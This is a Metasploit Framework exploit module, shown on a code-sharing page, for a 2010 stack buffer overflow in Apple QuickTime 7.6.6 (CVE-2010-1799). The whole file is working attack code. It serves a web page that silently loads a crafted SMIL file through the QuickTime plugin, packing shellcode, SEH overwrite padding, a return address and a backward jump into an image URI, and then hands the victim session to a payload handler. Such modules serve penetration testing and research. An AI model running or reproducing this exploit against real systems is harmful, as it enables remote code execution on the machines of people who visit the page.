CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking # needs more testing/targets to be Great
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::Seh
11
12
#include Msf::Exploit::Remote::BrowserAutopwn
13
#autopwn_info({
14
# :os_name => OperatingSystems::Match::WINDOWS,
15
# :javascript => true,
16
# :rank => NormalRanking, # reliable memory corruption
17
# :vuln_test => nil,
18
#})
19
20
def initialize(info = {})
21
super(update_info(info,
22
'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
23
'Description' => %q{
24
This module exploits a buffer overflow in Apple QuickTime
25
7.6.6. When processing a malformed SMIL uri, a stack-based buffer
26
overflow can occur when logging an error message.
27
},
28
'Author' =>
29
[
30
'Krystian Kloskowski', # original discovery
31
'jduck' # Metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'References' =>
35
[
36
[ 'CVE', '2010-1799' ],
37
[ 'OSVDB', '66636'],
38
[ 'BID', '41962' ],
39
[ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],
40
[ 'URL', 'http://support.apple.com/kb/HT4290' ]
41
],
42
'DefaultOptions' =>
43
{
44
'EXITFUNC' => 'process',
45
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
46
},
47
'Payload' =>
48
{
49
'Space' => 640, # 716 - 63 - 8 - 5
50
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
51
},
52
'Platform' => 'win',
53
'Targets' =>
54
[
55
#[ 'Automatic', { } ],
56
[ 'Apple QuickTime Player 7.6.6',
57
{
58
'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
59
}
60
],
61
],
62
'Privileged' => false,
63
'DisclosureDate' => '2010-08-12',
64
'DefaultTarget' => 0))
65
end
66
67
def on_request_uri(client, request)
68
69
return if ((p = regenerate_payload(client)) == nil)
70
71
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
72
print_status("Sending exploit SMIL (target: #{target.name})")
73
74
# This is all basically filler on the browser target because we can't
75
# expect the SEH to be in a reliable place across multiple browsers.
76
# Heap spray ftw.
77
78
off = 716
79
start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
80
81
scheme = rand_text_alphanumeric(5)
82
83
sploit = ''
84
sploit << scheme
85
sploit << "://"
86
87
# payload
88
sploit << p.encoded
89
90
# pad to SEH
91
sploit << rand_text_english(off - sploit.length - start.length)
92
93
# seh frame
94
sploit << generate_seh_record(target.ret)
95
96
# jmp back to payload
97
distance = off + 8 - (8 + start.length)
98
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
99
100
# force exception while writing
101
sploit << rand_text(1024) * 15
102
103
smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
104
<body>
105
<img src="#{sploit}" />
106
</body>
107
</smil>
108
|
109
send_response(client, smil, { 'Content-Type' => "application/smil" })
110
111
else
112
print_status("Sending initial HTML")
113
114
shellcode = Rex::Text.to_unescape(p.encoded)
115
url = ((datastore['SSL']) ? "https://" : "http://")
116
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
117
url << ":" + datastore['SRVPORT'].to_s
118
url << get_resource
119
120
fname = rand_text_alphanumeric(4)
121
122
content = "<html><body>"
123
content << <<-ENDEMBED
124
<OBJECT
125
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
126
WIDTH="1"
127
HEIGHT="1"
128
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
129
<PARAM name="SRC" VALUE = "#{url}/#{fname}.smil">
130
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.smil">
131
<PARAM name="AUTOPLAY" VALUE = "true" >
132
<PARAM name="TYPE" VALUE = "video/quicktime" >
133
<PARAM name="TARGET" VALUE = "myself" >
134
<EMBED
135
SRC = "#{url}/#{fname}.qtl"
136
QTSRC = "#{url}/#{fname}.qtl"
137
TARGET = "myself"
138
WIDTH = "1"
139
HEIGHT = "1"
140
AUTOPLAY = "true"
141
PLUGIN = "quicktimeplugin"
142
TYPE = "video/quicktime"
143
CACHE = "false"
144
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
145
</EMBED>
146
</OBJECT>
147
ENDEMBED
148
content << "</body></html>"
149
150
send_response(client, content, { 'Content-Type' => "text/html" })
151
end
152
153
# Handle the payload
154
handler(client)
155
end
156
end
157
158